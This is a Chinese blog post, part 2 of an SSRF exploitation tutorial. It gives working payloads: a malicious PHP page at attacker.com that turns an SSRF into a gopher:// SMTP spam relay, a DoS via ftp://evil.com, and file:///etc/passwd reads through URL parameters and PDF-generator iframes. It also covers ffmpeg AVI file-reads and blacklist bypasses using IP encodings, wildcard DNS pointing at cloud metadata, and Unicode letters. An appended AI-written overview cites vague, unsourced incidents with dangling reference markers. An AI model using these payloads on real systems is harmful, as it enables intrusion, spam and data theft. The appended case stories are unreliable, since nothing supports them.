SSRF-服务器端请求伪造(类型和利用方法)第2部分

本文深入探讨了服务器侧请求伪造(SSRF)漏洞的各种形式及其利用方法,包括盲SSRF、发送垃圾邮件、拒绝服务攻击等。文章还介绍了如何通过绕过白名单和黑名单策略来利用SSRF,以及在不同场景下SSRF的应用,如文件上传、视频转换和CMS系统中的漏洞利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

i.Blind

并非所有SSRF漏洞都会将响应返回给攻击者。这种类型的SSRF称为 blind SSRF。

Exploiting Blind SSRF -

DEMO(Ruby)

require 'sinatra'
require 'open-uri'

get '/' do
  open params[:url]

  'done'
end

开放端口4567,收到请求后执行以下操作:
对用户提到的URL发出请求。
将应答“OK”发送回用户,而不是内容(看不到响应)
http://localhost:4567/?url=https://google.com 将请求google.com,但没有显示google对攻击者的回应

要证明这种SSRF的影响,需要运行内部IP和端口扫描。
以下是您可以扫描服务的私有IPv4网络列表:

10.0.0.0/8
127.0.0.1/32
172.16.0.0/12
192.168.0.0/16

我们可以通过观察响应状态和响应时间来确定指定的端口是否打开/关闭。
以下是响应状态和响应时间的相关表格:

Send Spam mails -

在某些情况下,如果服务器支持Gopher,我们使用它从服务器ip发送垃圾邮件。

为了演示,我们将使用test.smtp.org测试服务器。

让我们创建一个恶意的php页面
http://attacker.com/ssrf/gopher.php

<?php
        $commands = array(
                'HELO test.org',
                'MAIL FROM: <admin@server.com>',
                'RCPT TO: <bit-bucket@test.smtp.org>',
                'DATA',
                'Test mail',
                '.'
        );
        $payload = implode('%0A', $commands);
        header('Location: gopher://test.smtp.org:25/_'.$payload);
?>

https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.php
此代码将SMTP命令连接到以%0A分隔的一行中,并强制服务器在实际发送有效SMTP请求时向SMTP服务器发送“gopher”请求。

执行拒绝服务

攻击者可以使用iptables TARPIT target长时间拦截请求, 并使用 CURL’s FTP:// 协议来阻止从不超时的请求。
攻击者可以将所有tcp流量发送到端口12345来执行TARPIT和请求。
https://example.com/ssrf/url?url=ftp://evil.com:12345/TEST

测试用例

存在ssrf的地方

获取外部/内部资源的端点

Case I

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

参考 - Link

https://medium.com/@neerajedwards/reading-internal-files-using-ssrf-vulnerability-703c5706eefb

Case -II
尝试更改POST请求中的URL

POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2

参考:-- # 411865, Link

https://medium.com/@neerajedwards/reading-internal-files-using-ssrf-vulnerability-703c5706eefb

PDF生成器

在某些情况下,服务器会将上传的文件转换为pdf。
尝试注入<iframe>, <img>, <base>或者<script>元素或者CSS url()函数
您可以使用以下方法读取内部文件:

<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">

参考:link

https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html

文件上传

尝试将输入类型更改为URL,并检查服务器是否向其发送请求至如下链接,并传递URL

<input type=”file” id=”upload_file” name=”upload_file[]” class=”file” size=”1“multiple=””>

例子:https://hackerone.com/reports/713

视频转换

有许多应用程序使用过时版本的ffmpeg将视频从一种格式转换为另一种格式。
在此中存在已知的ssrf漏洞。
克隆neex repo并使用以下命令生成avi

./gen_xbin_avi.py file://<filename> file_read.avi

并将其上传到易受攻击的服务器中,然后尝试将其从avi转换为mp4。

此读取操作可用于读取内部文件并写入视频。

参考:https://hackerone.com/reports/237381 https://hackerone.com/reports/226756

了解CMS、插件和主题中的SSRF漏洞.

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=ssrf
https://wpvulndb.com/search?utf8=%E2%9C%93&text=ssrf

绕过白名单和黑名单

让我们先谈谈白名单和黑名单。

白名单-允许特定URL
绕过白名单的唯一方法是在白名单域名中找到一个开放的重定向。让我们来看看例子

Case 1
www.example.com 白名单abc.com,您在example.com中找到了SSRF
http://example.com/ssrf.php?url=https://google.com - 无法获取,因为它未列入白名单

http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com - 成功获取google.com
Case 2
www.example.com白名单* .abc.com,您在example.com中找到了SSRF

http://example.com/ssrf.php?url=https://google.com - 无法获取,因为它未列入白名单

如果您在* .abc.com上获得任何子域名接管,则可以绕过此权限

并将其用于iframe或将其重定向到所需的网站

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com  - 成功获取google.com

黑名单-阻止特定URL(不允许的主机)。

黑名单可以通过多种方式绕过
将IP转换为十六进制-。

将 http://192.168.0.1 转换为 http://c0.a8.00.01 或 http://0xc0a80001
将IP转换为十进制 -

http://0177.0.0.1/ = http://127.0.0.1
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

将IP转换为八进制 -
http://192.168.0.1/ 转换为 http://0300.0250.0000.0001 或 http://030052000001
参考 - # 288250

使用通配符DNS-

http://xip.io/
http://nip.io/
https://ip6.name/
https://sslip.io/
你可以简单地使用它们将其指向特定的IP

10.0.0.1.xip.io   resolves to   10.0.0.1
      www.10.0.0.1.xip.io   resolves to   10.0.0.1
   mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
  foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1
ssrf-cloud.localdomain.pw   resolves to   169.254.169.254
       metadata.nicob.net   resolves to   169.254.169.254

或者您可以使用您自己的域来执行此操作。

创建一个子域并使用DNS A记录指向192.168.0.1

参考:https://hackerone.com/reports/288183 https://hackerone.com/reports/288193
使用封闭式数字字母

http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ 

 

转自:https://mp.weixin.qq.com/s/Jur9jxggrmn1r2uNq0yZPg

### SSRF漏洞详细说明 SSRF服务器端请求伪造)是一种安全漏洞,允许攻击者利用应用程序中的功能来发送恶意构建的请求到内部或外部的目标。这种类型的攻击通常发生在服务端能够代表客户端发起HTTP或其他协议的网络请求的情况下[^1]。 当开发人员实现某些特性时,可能会引入此类风险点,比如缓存刷新、健康状态检查等功能模块,在这些地方如果缺乏有效的输入验证机制,则容易受到SSRF的影响。具体而言,形成的原因主要是因为服务端提供了从其他服务器应用获取数据的能力,但是却没有对来自前端传递过来的目标URL执行严格的过滤与限制措施[^3]。 一旦被成功利用,攻击者可以绕过防火墙其他网络安全设备,并以内网IP的形式访问那些原本不应该公开的服务接口;甚至可能进一步实施横向移动攻击,扩大影响范围并窃取敏感信息。 #### 案例分析 为了更好地理解如何防范这类威胁以及其潜在危害程度,下面列举了一些实际发生的案例: - **云存储API滥用**:某知名云计算平台曾曝出一个严重的SSRF缺陷,该问题使得未经授权的第三方能够在特定条件下读取私有对象存储桶内的文件内容。此事件揭示了即使是在大型互联网公司中也难以完全杜绝安全隐患的存在。 - **内网扫描器暴露**:在一个企业级Web应用程序里发现了这样一个场景——管理员界面包含了一个用于测试连通性的工具,然而由于疏忽未加任何防护手段就直接对外开放了调用权限。最终导致黑客不仅掌握了大量关于内部架构的信息,还借此机会部署了恶意软件。 - **数据库泄露事故**:一家在线零售商遭遇了一起由SSRF引发的重大安全事故,原因是订单处理组件里的一个小Bug致使顾客提交的商品详情页链接未经校验就被当作真实资源加载显示出来。结果造成数百万条客户记录外泄至公网之上。 以上实例均表明,对于开发者来说,识别修复SSRF是非常重要的工作环节之一。除了依赖于自动化检测工具之外,还需要遵循最佳实践指南来进行代码审查技术选型决策等方面的工作[^2]。 ```python import requests def fetch_remote_data(url): try: response = requests.get(url, timeout=5) return response.text except Exception as e: print(f"Error fetching {url}: ", str(e)) return None ``` 上述Python脚本展示了最基础形式下的远程数据抓取逻辑,但在生产环境中应当加入必要的参数检验流程以防止意外情况的发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值